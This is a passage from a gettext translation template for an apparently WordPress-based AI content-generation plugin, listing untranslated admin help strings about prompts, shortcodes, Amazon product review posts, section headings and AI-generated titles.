%%random_video[keyword][60]%" "% - a video will appear in 60% of cases, in the rest of 40%, nothing will be " "returned by the shortcode - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-review-list.php:1865 res/aiomatic-single-list.php:8377 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %" "%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%" "%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%" "%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %" "%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %" "%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %" "%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %" "%random_image_url[keyword]%%, %%random_video[keyword]%%, %" "%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]%" "% - a video will appear in 60% of cases, in the rest of 40%, nothing will be " "returned by the shortcode - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-review-list.php:2526 msgid "Amazon Product Reviews Tutorial Video" msgstr "" #: res/aiomatic-review-list.php:3151 res/aiomatic-rules-list.php:3290 #: res/aiomatic-youtube-list.php:3021 msgid "Number Of Content Sections To Generate" msgstr "" #: res/aiomatic-review-list.php:3163 msgid "Add Headings To Content As" msgstr "" #: res/aiomatic-review-list.php:3320 msgid "Add Article 'Customer Reviews Analysis' Section" msgstr "" #: res/aiomatic-review-list.php:3335 msgid "" "Set the header text of the Customer Reviews Analysis section header. Default " "is: Customer Reviews Analysis" msgstr "" #: res/aiomatic-review-list.php:3338 msgid "Article 'Customer Reviews Analysis' Section Header Text" msgstr "" #: res/aiomatic-review-list.php:3350 msgid "Add Article 'Pros & Cons' Section" msgstr "" #: res/aiomatic-review-list.php:3365 msgid "" "Set the header text of the Pros & Cons section header. Default is: Pros & " "Cons" msgstr "" #: res/aiomatic-review-list.php:3368 msgid "Article 'Pros & Cons' Section Header Text" msgstr "" #: res/aiomatic-review-list.php:3447 msgid "Point Of View" msgstr "" #: res/aiomatic-review-list.php:3530 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - to disable article intro, leave this " "prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators. If you have access to the Amazon " "API, you can set it up in the plugin and get access to the following " "advanced shortcodes also: %%product_score%%, %%product_edition%%, " "%%product_language%%, %%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:3572 #, php-format msgid "" "Prompt to be used for the review post main sections. You can use the " "following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators. If you have access to " "the Amazon API, you can set it up in the plugin and get access to the " "following advanced shortcodes also: %%product_score%%, %%product_edition%%, " "%%product_language%%, %%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:3575 res/aiomatic-rules-list.php:3634 #: res/aiomatic-youtube-list.php:3369 msgid "Article Sections Prompt" msgstr "" #: res/aiomatic-review-list.php:3588 res/aiomatic-rules-list.php:3647 #: res/aiomatic-youtube-list.php:3382 msgid "AI Model For Sections Generator" msgstr "" #: res/aiomatic-review-list.php:3614 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%current_section%%, %%article_so_far%%, " "%%last_section_content%%, %%product_title%%, %%product_description%%, " "%%language%%, %%all_product_titles%%, %%product_author%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, " "%%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%sections%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. If you have access to the Amazon API, you can set it " "up in the plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:3656 #, php-format msgid "" "Prompt to be used for the Post Customer Reviews Analysis section. You can " "use the following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- to disable article outro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:3659 msgid "Article Customer Reviews Analysis Prompt" msgstr "" #: res/aiomatic-review-list.php:3672 msgid "AI Model For Customer Reviews Analysis Generator" msgstr "" #: res/aiomatic-review-list.php:3698 #, php-format msgid "" "Prompt to be used for the Post Pros & Cons section. You can use the " "following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- to disable article outro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:3701 msgid "Article Pros & Cons Prompt" msgstr "" #: res/aiomatic-review-list.php:3714 msgid "AI Model For Pros & Cons Generator" msgstr "" #: res/aiomatic-review-list.php:3740 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - to disable article outro, leave this " "prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. If you have access to the Amazon API, you can set it " "up in the plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:3782 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - to disable article outro, leave this " "prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. If you have access to the Amazon API, you can set it " "up in the plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:3824 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-review-list.php:4537 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %" "%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%" "%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%" "%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %" "%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %" "%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %" "%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %" "%random_image_url[keyword]%%, %%random_video[keyword]%%, %" "%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]%" "% - a video will appear in 60% of cases, in the rest of 40%, nothing will be " "returned by the shortcode - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-rules-list.php:212 msgid "Post Creation Mode" msgstr "" #: res/aiomatic-rules-list.php:216 msgid "" "The main difference between the Topic Based and Title Based posting mode is " "that the Topic Based mode will make a separate API request for each chapter " "of the content (+intro, outro, q&a) and compose the article from the result " "of each of these separate API requests. While the Title Based posting will " "make a single API request for the entire post content. For longer articles, " "it is recommended you use the Topic Based Posting method." msgstr "" #: res/aiomatic-rules-list.php:332 res/aiomatic-rules-list.php:3177 msgid "Topic Based/Multiple API Calls" msgstr "" #: res/aiomatic-rules-list.php:333 res/aiomatic-rules-list.php:3182 msgid "Title Based/Single API Call" msgstr "" #: res/aiomatic-rules-list.php:393 res/aiomatic-rules-list.php:3234 #: res/aiomatic-single-list.php:2648 msgid "Topic Based Posting Options" msgstr "" #: res/aiomatic-rules-list.php:463 res/aiomatic-rules-list.php:3299 #: res/aiomatic-single-list.php:2703 res/aiomatic-single-list.php:4691 #: res/aiomatic-youtube-list.php:466 res/aiomatic-youtube-list.php:3030 msgid "Select what you want to do with sections in articles." msgstr "" #: res/aiomatic-rules-list.php:467 res/aiomatic-single-list.php:2707 #: res/aiomatic-single-list.php:4695 res/aiomatic-youtube-list.php:470 msgid "Add Sections To Content As:" msgstr "" #: res/aiomatic-rules-list.php:867 res/aiomatic-single-list.php:3107 #, php-format msgid "" "Prompt to be used for the Sections of the article. These will be set also as " "headings in the article. You can use the following shortcodes: %%title%%, " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-rules-list.php:1125 res/aiomatic-rules-list.php:3903 #: res/aiomatic-single-list.php:3851 msgid "Title Based Posting Options" msgstr "" #: res/aiomatic-rules-list.php:1128 res/aiomatic-rules-list.php:3904 #: res/aiomatic-single-list.php:3854 msgid "Post Content - AI Text Generator Options" msgstr "" #: res/aiomatic-rules-list.php:1135 res/aiomatic-single-list.php:3861 msgid "Select the AI Model to be used for text generator." msgstr "" #: res/aiomatic-rules-list.php:1139 res/aiomatic-single-list.php:3865 msgid "AI Model For Text Generator:" msgstr "" #: res/aiomatic-rules-list.php:1158 res/aiomatic-single-list.php:3884 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to OpenAI/" "AiomaticAPI. This command can be any given task or order, based on which, it " "will generate content for posts. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-rules-list.php:1163 res/aiomatic-single-list.php:3889 #: res/aiomatic-spinner-list.php:1874 msgid "Prompt For The AI Text Generator:" msgstr "" #: res/aiomatic-rules-list.php:1182 res/aiomatic-rules-list.php:3948 #: res/aiomatic-single-list.php:3906 #, php-format msgid "" "Select the minimum number of characters that the posts should have. If the " "API returns content which has fewer characters than this number, another API " "call will be made, until this character limit is met. Please check about API " "rate limiting here." msgstr "" #: res/aiomatic-rules-list.php:1186 res/aiomatic-single-list.php:3910 msgid "AI Content Minimum Character Count:" msgstr "" #: res/aiomatic-rules-list.php:1193 res/aiomatic-rules-list.php:3957 #: res/aiomatic-single-list.php:3917 #, php-format msgid "" "Post Title - AI Text Generator Options (%%ai_generated_title%% shortcode)" msgstr "" #: res/aiomatic-rules-list.php:1196 res/aiomatic-rules-list.php:3958 #: res/aiomatic-single-list.php:3920 #, php-format msgid "" "The %%ai_generated_title%% shortcode can be used in the 'Post Title List / " "TXT File URL / RSS Feed URL' settings field, to get partial or fully AI " "generated titles." msgstr "" #: res/aiomatic-rules-list.php:1206 res/aiomatic-single-list.php:3930 #, php-format msgid "" "Select the AI Model to be used for title text generator. You can add this to " "the post titles, using the %%ai_generated_title%% shortcode." msgstr "" #: res/aiomatic-rules-list.php:1210 res/aiomatic-single-list.php:3934 msgid "AI Model For Title Text Generator:" msgstr "" #: res/aiomatic-rules-list.php:1229 res/aiomatic-single-list.php:3953 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post titles. This command can be any given task or order, based " "on which, it will generate content for posts. You can use the following " "shortcodes here: %%post_title%%, %%random_sentence%%, " "%%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also " "add a link to a TXT file, containing keywords (one per line), or to an RSS " "feed. If you use RSS feeds, you can also use the following additional " "shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You can also add here a link to a .txt file, " "where you can add multiple prompts (one per line) and the plugin will select " "a random one at each run. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" #: res/aiomatic-rules-list.php:1234 res/aiomatic-single-list.php:3958 msgid "Prompt For The AI Title Text Generator:" msgstr "" #: res/aiomatic-rules-list.php:1244 res/aiomatic-rules-list.php:4005 #: res/aiomatic-single-list.php:3968 msgid "" "Select the source of the post title. If you select AI generated, the plugin " "will create an AI generated title based on keywords you enter in the 'Post " "Title List' settings field. Otherwise, it will use the titles listed there, " "for the created posts." msgstr "" #: res/aiomatic-rules-list.php:1248 res/aiomatic-single-list.php:3972 msgid "Post Title Source:" msgstr "" #: res/aiomatic-rules-list.php:1252 res/aiomatic-rules-list.php:4015 #: res/aiomatic-single-list.php:3976 msgid "Use The Titles From The 'Post Title List' Settings Field" msgstr "" #: res/aiomatic-rules-list.php:1253 res/aiomatic-rules-list.php:4020 #: res/aiomatic-single-list.php:3977 msgid "Fully AI Generated Titles" msgstr "" #: res/aiomatic-rules-list.php:1258 res/aiomatic-rules-list.php:4023 #: res/aiomatic-single-list.php:3982 msgid "Rich Content Creation Options" msgstr "" #: res/aiomatic-rules-list.php:1265 res/aiomatic-rules-list.php:4027 #: res/aiomatic-single-list.php:3989 res/aiomatic-spinner-list.php:2106 msgid "" "Set the maximum number of related headings to add to the created post " "content. This feature will use the 'People Also Ask' feature from Google and " "Bing. By default, the Bing engine is scraped, if you want to enable also " "Google scraping, add a SerpAPI key in the plugin's 'Settings' menu -> " "'SerpAPI API Key' settings field." msgstr "" #: res/aiomatic-rules-list.php:1269 res/aiomatic-single-list.php:3993 #: res/aiomatic-spinner-list.php:2110 msgid "Maximum Number Of Related Headings to Add To The Content:" msgstr "" #: res/aiomatic-rules-list.php:1280 res/aiomatic-single-list.php:4004 #: res/aiomatic-spinner-list.php:2169 msgid "Select the AI Model to be used for headings generator." msgstr "" #: res/aiomatic-rules-list.php:1284 res/aiomatic-single-list.php:4008 #: res/aiomatic-spinner-list.php:2173 msgid "AI Model For The Headings Generator:" msgstr "" #: res/aiomatic-rules-list.php:1303 res/aiomatic-rules-list.php:4067 #: res/aiomatic-single-list.php:4027 #, php-format msgid "" "Set the prompt you will use when searching for related headings. You can use " "the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same " "model will be used, as the one selected for content creation. If you leave " "this field blank, the default prompt will be used: 'Write " "%%needed_heading_count%% PAA related questions, each on a new line, for the " "title: %%post_title%%' You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" #: res/aiomatic-rules-list.php:1307 res/aiomatic-single-list.php:4031 msgid "Related Headings AI Generator Prompt:" msgstr "" #: res/aiomatic-rules-list.php:1318 res/aiomatic-single-list.php:4042 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the 'Royalty Free Image' settings from the plugin's " "'Settings' menu or if you have access to the DallE API." msgstr "" #: res/aiomatic-rules-list.php:1322 res/aiomatic-single-list.php:4046 #: res/aiomatic-spinner-list.php:2217 msgid "Maximum Number Of Related Images to Add To The Content:" msgstr "" #: res/aiomatic-rules-list.php:1333 res/aiomatic-rules-list.php:4090 #: res/aiomatic-single-list.php:4057 res/aiomatic-spinner-list.php:2274 msgid "" "Add a related YouTube video to the end of to the created post content. This " "feature will require you to add at least one YouTube API key in the plugin's " "'Settings' -> 'YouTube API Key List' settings field." msgstr "" #: res/aiomatic-rules-list.php:1337 res/aiomatic-single-list.php:4061 #: res/aiomatic-spinner-list.php:2278 msgid "Add A Related Video To The End Of The Post:" msgstr "" #: res/aiomatic-rules-list.php:1344 res/aiomatic-rules-list.php:4103 #: res/aiomatic-single-list.php:4068 msgid "Manual Headings and Images List" msgstr "" #: res/aiomatic-rules-list.php:1351 res/aiomatic-rules-list.php:4107 #: res/aiomatic-single-list.php:4075 #, php-format msgid "" "Add a list of headings (one on each line) to use in the generated articles. " "You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. - Update: %%related_questions_KEYWORD%% is also supported, " "to get a list of PAA questions for the KEYWORD you want to use. Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins)." msgstr "" #: res/aiomatic-rules-list.php:1355 res/aiomatic-single-list.php:4079 msgid "Manual List Of Headings:" msgstr "" #: res/aiomatic-rules-list.php:1365 res/aiomatic-rules-list.php:4120 #: res/aiomatic-single-list.php:4089 #, php-format msgid "" "Add a list of image URLs (one on each line) to use in the generated " "articles. - Update: %%related_questions_KEYWORD%% is also supported, to get " "a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-rules-list.php:1369 res/aiomatic-single-list.php:4093 msgid "Manual List Of Images:" msgstr "" #: res/aiomatic-rules-list.php:2626 msgid "Keywords/Titles To Blog Posts Tutorial Video" msgstr "" #: res/aiomatic-rules-list.php:3302 res/aiomatic-youtube-list.php:3033 msgid "Add Sections To Content As" msgstr "" #: res/aiomatic-rules-list.php:3631 #, php-format msgid "" "Prompt to be used for the Post Sections. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-rules-list.php:3907 msgid "Select the AI Model to be used for the text generator." msgstr "" #: res/aiomatic-rules-list.php:3910 msgid "AI Model For The Text Generator" msgstr "" #: res/aiomatic-rules-list.php:3936 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run." msgstr "" #: res/aiomatic-rules-list.php:3939 msgid "Prompt For The AI Text Generator" msgstr "" #: res/aiomatic-rules-list.php:3951 msgid "AI Content Minimum Character Count" msgstr "" #: res/aiomatic-rules-list.php:3964 #, php-format msgid "" "Select the AI Model to be used for the 